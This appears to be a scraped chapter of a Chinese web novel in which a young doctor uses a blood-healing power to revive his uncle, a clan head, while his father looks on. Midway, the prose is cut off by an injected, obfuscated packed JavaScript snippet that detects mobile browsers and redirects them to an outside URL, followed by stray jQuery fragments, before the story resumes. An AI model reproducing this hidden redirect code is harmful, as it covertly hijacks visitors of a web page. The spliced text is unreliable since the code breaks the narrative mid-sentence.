55. 我不装啦!
作品:《关于我们校医老师是幕后BOSS这件事》 亲眼见到的父亲,和系统给的设定里的角色有很大的出入。
林砚瞬间警惕性拉满。
不会是有血魔偷偷潜入进来,把林臻给替换了吧?
虽然他已经亲身领教过血魔的渗透能力,对此有些许体会。但这里可是有炼金符文保护的,他们是怎么做到的?
但系统没有对他发出警告。
林砚的思维高速运转,脸上却没什么表情。他只是站在原地,没接着向前,眼球从下往上打了个转儿。
“还是老爹你在前面带路吧。”
林砚脚下没动,,也没表现出任何对父亲异常的诧异,暗藏试探地问道:“是发生什么棘手的事了吗?”
林臻扯了扯嘴角,像是看穿了林砚那点小心思,又像是觉得有趣。
他的笑容有点复杂,既有“你小子跟我来这套”的了然,又有感到儿子成长了的欣慰。他抬起右手,在林砚戒备的视线中揉了揉太阳穴。
“哎,孩子大了,都开始在老子面前装模作样玩起心眼子来了。”他嘴里的话跟那张慈悲脸毫不相配,话语间还有着“真该让其他人也来瞧瞧看我儿子多机警”的满意,“我能看不出你那小心思吗。放心,你爹我芯子里头没换人,也没被什么乱七八糟的东西附身。”
“只是突然想开了。”
嘴上这么说着,林臻看起来也确实没生气,甚至心情还挺不错。他不再多说,干脆地转身,迈步跨过门槛,走进大门内,当真给林砚带起路来。身着的西装在古色古香的建筑下有些突兀。
“想开了?”
林砚跟在他身后半步的距离,顺着他的话问,视线快速扫过前庭的景象。
院内廊腰缦回,流水潺潺。
拐过走廊,才发现院子里竟还有座人造假山。草木葱茏,因常年有人精心打理而显得雅致。
“是啊,想开了。”
林臻说话时头也没回。他右转拐向侧面回廊,回廊曲折,通向一处独立院落。
他在一间客房前停下,客房的门是开着的。
“里面躺着的是我的一位旧友。”林臻侧过身,让林砚能看到房间内部,“别说你从没见过他,连我都有十几年没见过他了。”
林臻按住林砚的肩膀,力道不轻。
“算你老子求你的,救救他。”林臻对上林砚的眼睛,两双同色的眼眸相互映照,林臻再也无法掩盖自己眼睛深处的疲惫,“至少,想办法让他醒过来。”
林砚看着他,说:“先让我进去看看。”
林臻松开手,林砚直接走了进去。
林臻嘴里的旧友正躺在客房的床上,双目紧闭,面部因痛苦而扭曲。
就像曾经的赵铁心那样——不,他的情况看起来更糟。
狰狞的血蚀纹路已经从脖颈蔓延上来,侵染到他的两侧脸颊。红色的纹路如同活物般在皮肤下起伏,距离眼睑也只剩不到寸许距离。他裸露在薄被外的手背上青筋暴起,同样布满了血色纹路。
换了外界任何一个掌权者在此,看到此人的模样,都会毫不犹豫地下令将他就地格杀。
林砚走近几步,目光落在病人的脸上。
昏迷的男人看起来四五十岁年纪,面部线条硬朗,即使闭着眼,也能看出其眉宇间惯有的凶悍与急躁。但让林砚有些奇怪的是……
他觉得这人有点眼熟。
而倘若在这里的是赵铁心,他瞬间就能认出这人是谁。
同色系的天生白发与紧闭眼皮下蓝色的眼眸。
躺在这里濒临死亡的人,正是赵家的家主。
赵公卿。
等待林砚归来期间,林臻也没有闲着。
他的“祸血凭依”未曾敢有哪怕一秒的停转。
如此严重的血蚀已经无法依靠医疗设备来维持生命了。为了抑制血蚀蔓延,强行吊住这位旧友的命,林臻已经整整有两天半的时间都没有休息过了。
林砚现在才注意到,林臻身上西装的边边角角处其实有不少细微的褶皱,衬衫领口也没有平时那么平整,就连鬓角处也有几缕头发不太服帖地翘着。
林砚没有直接向系统询问床上人的身份,而是怀揣着对此人身份的好奇,运转了属于林砚的“祸血凭依”。
有时候保留些悬念也是极有意思的。
林臻站在旁边,沉默地看着。哪怕林砚已经出手接替,为了保险起见,林臻也没有立刻停止使用能力。
能力像呼吸般自然地从体内流淌而出。
现在的林砚,已经不是刚入白塔时的新手医生了。多次使用能力后,林砚现在在“祸血凭依”的使用上,已经称得上是得心应手了。
星辉般的银白光点在室内如萤火虫般蔓延,飘向床上的人,着陆在他露在外面的每一寸肌肤上。光点接触皮肤后,自然地渗透进他的四肢百骸中。银色的奔流在他的血管中流淌,连带着皮肤下也隐约亮起银色的微光。
随着光芒流淌而过,床上那人躯体上迅速凝结起一层薄薄的冰霜。在林砚精妙的引导下,能量流沿着血管全速进军。低温进一步对血蚀造成了压制,能量所过之处,血蚀如同遇到天敌般,疯狂地向下逃窜。
见状,林臻才垂下手,放心地解除了能力。脸上强行撑着的精气神瞬间垮掉大半,浓郁的疲惫感涌了上来。过度消耗让他有些头昏脑胀,身体微微晃了一下,然后他直接往后一靠。
靠着门框,林臻不忘评价道:
“可以啊砚仔。这才出去短短几个月,砚仔就进步神速啊。嗯……不错,真不错,是我林臻的好儿子。”
伴随着林臻能力的撤销,床上人睫毛颤抖,眼球快速转动,胸膛起伏的幅度也变得大了起来,似乎马上就能恢复意识。
林砚将手用力下压:“别动。放松,不要抵抗我的力量,也别想着强行醒来。”
林臻立刻给儿子帮腔:“听他的。”
那人深吸了口气,紧绷的身体竟然真的放松了一些,不再强行试图醒来。
林砚全神贯注地维持着能力,待到血蚀完全褪下面庞,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151722|191871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才缓缓收回双手。室内弥漫的银白光点和病人体表的冰霜悄然消散。
室内温度渐渐回暖。
“好了。”他说,“暂时脱离危险,你可以动了。”
话音刚落——
床上的人猛地睁开了眼睛。
醒来的男人有着一对神似赵铁心的眸子。他就这么直挺挺地躺着,没有立刻起身,视线先是在天花板上停留了一秒,似乎是在确认自己所在的位置。然后,眼球转动,锁定住站在床边的林砚。
他细细地、近乎贪婪地端详着林砚脸上的每一寸角落,额头、眉毛、眼睛、鼻梁、嘴唇、下颌……眼神中带着让人感到沉重的怀念。
他看林砚的时间太久了,久到让林砚感到有点被冒犯到,忍不住皱起眉来。
林砚正准备直接开口问“你是谁”,床上的男人却先说话了。
“二十年过去,娟娟的孩子也已经长这么大了啊。你还是第一次见到我吧?”
男人的目光依旧牢牢钉在林砚脸上,暗沉的蓝色眼睛里情绪翻涌,仿佛是透过现在的他,看到了某个逝去已久的影子。那张生来凶神恶煞的脸上,此时已经竭尽所能地对林砚表现出温柔之情。
“我是你的舅舅。”男人知道自己长得凶恶,说话的声音放得很轻,像是怕吓到他,“赵公卿。”
“你长得很像你的母亲。”
林砚还没完全消化“父亲旧友”、“二十年”、“娟娟”、“舅舅”以及“你母亲”这几个词串联起来所代表的庞大信息量,脑子里就灵光一现,闪过赵铁心那张和赵公卿六七成相似的脸。
双手抱胸,倚在门框上的林臻冷笑一声,直接打断了赵公卿尽力塑造的温情一幕:“赵老贼,少在这儿跟我儿子套近乎。哪怕我老婆是你亲妹妹,老子也是不可能管你叫大舅子的!别想占我便宜!”
床上的赵公卿听到林臻的声音,猛地扭过头,脸上强行挤出来的温柔之情瞬间褪去。
他直接从床上跳了下来,脸上表情川剧变脸般变得狰狞,呲牙咧嘴地朝着林臻扑了过去。
“林臻!!!”
赵公卿吼出林砚父亲的名字,声音听起来中气十足,完全不像大病初愈的病人。
“老子早他妈说过!会打断所有意图拐跑老子宝贝妹妹的狗贼的狗腿!”
“装货林!你他妈还欠老子一条腿没还呢!”
面对这突如其来的凶猛扑击,林臻站在原地,连眼皮都懒得抬一下,脚下更是一步都懒得挪。搭在臂弯的右手,几不可察地勾了下手指。
祸!血!凭!依!
赵公卿动作骤然僵住,扑击的动作瞬间定格。凶暴的表情还没完全收起,就被无法抗拒的困意取代,眼皮仿佛有千斤沉。
他张了张嘴,似乎还想骂些什么,但还没来得及说出口,就身体一晃。
“噗通。”
赵公卿脸朝下,结结实实地摔在了客房冰凉的地板上,陷入婴儿般的安眠。
昏睡医生林臻,可不是浪得虚名啊。

